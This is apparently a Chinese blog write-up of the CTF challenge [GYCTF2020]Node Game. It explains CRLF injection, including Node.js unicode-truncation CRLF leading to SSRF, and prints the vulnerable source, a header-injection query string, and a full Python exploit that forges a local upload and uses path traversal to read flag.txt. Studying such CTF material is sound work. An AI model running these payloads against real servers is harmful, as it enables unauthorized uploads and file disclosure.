• 一道题学习node.js中的CRLF注入


    前言

    这几天刷题遇到在node.js题目中注入CRLF实现ssrf的题目,对于我来说知识听新颖。在此记录一下。

    CRLF注入

    学习过http请求走私漏洞的师傅对于这个CRLF肯定不会陌生。所谓的CRLF就是回车加换行。常用于http数据包。字段之间用一个CRLF分割,首部和主题之间由两个CRLF分割。如果说我们能够控制http数据包中莫一个首部字段,况且web应用没有对用户的输入做严格的过滤,我们就可以向数据包注入一些CRLF,同时添加修改我们想要的字段以及字段值,比如cookie等。在此就用php的fsockopen函数测试一下。

    测试代码:

    1. highlight_file(__FILE__);
    2. $host=$_GET['url'];
    3. $fp = fsockopen($host, 80, $errno, $errstr, 30);
    4. if (!$fp) {
    5. echo "$errstr ($errno)
      \n"
      ;
    6. } else {
    7. $out = "GET / HTTP/1.1\r\n";
    8. $out .= "Host: $host\r\n";
    9. $out .= "Connection: Close\r\n\r\n";
    10. fwrite($fp, $out);
    11. while (!feof($fp)) {
    12. echo fgets($fp, 128);
    13. }
    14. fclose($fp);
    15. }
    16. ?>

    url输入1.116.160.155:2400,同时我们在服务器监听2400端口。最后得到回显。

    看这个简单的数据包,我们能够控制host头,那么我们就在host注入,添加cookie,url输入

    ?url=1.116.160.155:2400%0d%0aCookie:PHPSESSID=admin

    得到回显,

    在http规范中,CRLF是一行的结束,当检测到%0d%0a,就会 转到下一行,我们添加的cookie字段就默认添加在Host字段下面了。成功在数据包中添加了cookie字段。这样我们就成功修改数据头部。

    HTTP请求路径中的unicode字符损坏

    这篇文章主要说明node.js中CRLF的注入。但是上文讲解的直接添加CRLF在这里是不奏效的,node.js中的http库会检测用户如果含有回车换行会直接报错。但是,node.js对http请求写入路径时,对unicode字符的有损编码可能会引起CRLF注入。

    什么意思呢?虽然我们发出的请求路径指定为字符串,但是node.js会将请求作为原始字节输出。也就意味着我们需要对请求unicode编码。而js也是默认支持unicode字符串的。node.js默认使用“latin1”编码,这是一种单字节字符集,不能表示高编码unicode字符串。比如说\u0130就会被截断为\u30。

    但看字符损坏没有什么用处,如果我们传入\u010D\u010A,截断之后就变成了\u0D\u0A,就变成了CRLF,那么我们就可以利用这个漏洞向数据包注入恶意的CRLF。

     

    这个unicode字符损坏漏洞只适用于node.js v8以及更低的版本。在10版本中如果遇到非ascii码就会抛出错误。看一个题目感受一下。

    [GYCTF2020]Node Game

    打开题目:

     

    这里有两个功能,一个是文件上传,只能admin才能上传文件。另一个功能是获取源代码。看一下node.js代码:

    node.js源代码

     

    1. var express = require('express');
    2. var app = express();
    3. var fs = require('fs');
    4. var path = require('path');
    5. var http = require('http');
    6. var pug = require('pug');
    7. var morgan = require('morgan'); // morgan是express默认的日志中间件
    8. const multer = require('multer');
    9. app.use(multer({dest: './dist'}).array('file'));
    10. app.use(morgan('short'));
    11. app.use("/uploads",express.static(path.join(__dirname, '/uploads')))
    12. app.use("/template",express.static(path.join(__dirname, '/template')))
    13. app.get('/', function(req, res) {
    14. var action = req.query.action?req.query.action:"index";
    15. if( action.includes("/") || action.includes("\\") ){//检测action是否有/和\\
    16. res.send("Errrrr, You have been Blocked");
    17. }
    18. file = path.join(__dirname + '/template/'+ action +'.pug');
    19. var html = pug.renderFile(file);
    20. res.send(html);
    21. });
    22. app.post('/file_upload', function(req, res){
    23. var ip = req.connection.remoteAddress;
    24. var obj = {
    25. msg: '',
    26. }
    27. if (!ip.includes('127.0.0.1')) {
    28. obj.msg="only admin's ip can use it"
    29. res.send(JSON.stringify(obj));
    30. return
    31. }
    32. fs.readFile(req.files[0].path, function(err, data){
    33. if(err){
    34. obj.msg = 'upload failed';
    35. res.send(JSON.stringify(obj));
    36. }else{
    37. var file_path = '/uploads/' + req.files[0].mimetype +"/";
    38. var file_name = req.files[0].originalname
    39. var dir_file = __dirname + file_path + file_name
    40. if(!fs.existsSync(__dirname + file_path)){// 以同步的方法检测目录是否存在
    41. try {
    42. fs.mkdirSync(__dirname + file_path)// 如果目录不存在则创建目录
    43. } catch (error) {
    44. obj.msg = "file type error";
    45. res.send(JSON.stringify(obj));
    46. return
    47. }
    48. }
    49. try {
    50. fs.writeFileSync(dir_file,data)
    51. obj = {
    52. msg: 'upload success',
    53. filename: file_path + file_name
    54. }
    55. } catch (error) {
    56. obj.msg = 'upload failed';
    57. }
    58. res.send(JSON.stringify(obj));
    59. }
    60. })
    61. })
    62. app.get('/source', function(req, res) {
    63. res.sendFile(path.join(__dirname + '/template/source.txt'));
    64. });
    65. app.get('/core', function(req, res) {
    66. var q = req.query.q;
    67. var resp = "";
    68. if (q) {
    69. var url = 'http://localhost:8081/source?' + q
    70. console.log(url)
    71. var trigger = blacklist(url);
    72. if (trigger === true) {
    73. res.send("

      error occurs!

      "
      );
    74. } else {
    75. try {
    76. http.get(url, function(resp) {
    77. resp.setEncoding('utf8');
    78. resp.on('error', function(err) {
    79. if (err.code === "ECONNRESET") {
    80. console.log("Timeout occurs");
    81. return;
    82. }
    83. });
    84. resp.on('data', function(chunk) {
    85. try {
    86. resps = chunk.toString();
    87. res.send(resps);
    88. }catch (e) {
    89. res.send(e.message);
    90. }
    91. }).on('error', (e) => {
    92. res.send(e.message);});
    93. });
    94. } catch (error) {
    95. console.log(error);
    96. }
    97. }
    98. } else {
    99. res.send("search param 'q' missing!");
    100. }
    101. })
    102. function blacklist(url) {
    103. var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
    104. var arrayLen = evilwords.length;
    105. for (var i = 0; i < arrayLen; i++) {
    106. const trigger = url.includes(evilwords[i]);
    107. if (trigger === true) {
    108. return true
    109. }
    110. }
    111. }
    112. var server = app.listen(8081, function() {
    113. var host = server.address().address
    114. var port = server.address().port
    115. console.log("Example app listening at http://%s:%s", host, port)
    116. })

    路由

    源代码一共有四个路由,分别说明一下:

    '/'路由,我们能够包含一个pug模板文件,并且将其渲染,返回给我们客户端。

    '/file_upload'路由,上传文件,但是限制上传者的ip为127.0.0.1,将文件上传到upload/目录下,但是通过这段代码:

    var file_path = '/uploads/' + req.files[0].mimetype +"/";

    我们可以控制mimetype的值,利用目录穿越让文件下载到我们指定的目录中去。

    '/source'路由,显示源码。

    '/core'路由,通过参数q向内网的8081端口传参。获取到数据并且返回给客户端。对url有黑名单的限制。

    做题思路

    从刚才的路由分析,我们可以看出/core是存在ssrf漏洞的。可以上传一个含有flag文件路径的pug模板文件,控制mimetype将文件下载到/template目录下。以便在/路由对我们上传的pug模板文件进行包含。目前最大的难题就是如何伪造本地上传。那么我们就通过/core路由伪造上传包来上传我们的pug文件。

    题解

    通过上传功能抓取到上传的post数据包。

    对数据包进行删除cookie,修改host,origin,referer字段为本机地址。将Content-Type改为 ../template,以便目录穿越。利用node.js对高编码字符截断漏洞向http数据包注入CRLF,来伪造一个本地上传数据包。引用大佬脚本:

    1. import urllib.parse
    2. import requests
    3. payload = ''' HTTP/1.1
    4. POST /file_upload HTTP/1.1
    5. Host: 127.0.0.1:8081
    6. Content-Length: 266
    7. Cache-Control: max-age=0
    8. Upgrade-Insecure-Requests: 1
    9. Origin: http://127.0.0.1:8081
    10. Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryG01qmiZ5h6Ap0QSc
    11. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
    12. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    13. Referer: http://127.0.0.1:8081/?action=upload
    14. Accept-Encoding: gzip, deflate
    15. Accept-Language: zh-CN,zh;q=0.9
    16. Connection: close
    17. ------WebKitFormBoundaryG01qmiZ5h6Ap0QSc
    18. Content-Disposition: form-data; name="file"; filename="shell.pug"
    19. Content-Type: ../template
    20. doctype html
    21. html
    22. head
    23. style
    24. include ../../../../../../../flag.txt
    25. ------WebKitFormBoundaryG01qmiZ5h6Ap0QSc--
    26. GET / HTTP/1.1
    27. test:'''.replace("\n", "\r\n")
    28. def payload_encode(raw):
    29. ret = u""
    30. for i in raw:
    31. ret += chr(0x0100 + ord(i)) # 为回车换行添加高编码unicode字符
    32. return ret
    33. payload = payload_encode(payload)
    34. print(payload)
    35. r = requests.get('http://31c97aff-75cd-40bb-8bcb-b71fbaadc74a.node4.buuoj.cn:81/core?q=' + urllib.parse.quote(payload))
    36. print(r.text)

    上传pug文件后在根目录下访问?action=shell,在源代码中找到flag。

    注意数据包中Content-Length字段一定要有,并且长度一定得正确。

    关于pug模板的相关内容可参考一下链接:

    pug模板入门_宿炎的博客-CSDN博客_pug模板

    参考链接:初识HTTP响应拆分攻击(CRLF Injection)-安全客 - 安全资讯平台  

  • 相关阅读:
    Vue实现手机端界面的购物车案例
    线程池创建与使用
    linux文件基本操作
    【仿牛客网笔记】 Redis,一站式高性能存储方案——优化登陆模块
    05-流媒体-摄像头采集YUV
    elementUI新增行定位到表格最后一行
    如何取消a链接点击时的背景颜色
    java.sql.SQLException: ORA-28000: the account is locked
    数学建模十大算法04—图论算法(最短路径、最小生成树、最大流问题、二分图)
    如何解决iQOO手机运行uniapp真机调试时无法识别的问题
  • 原文地址:https://blog.csdn.net/m0_62422842/article/details/127811271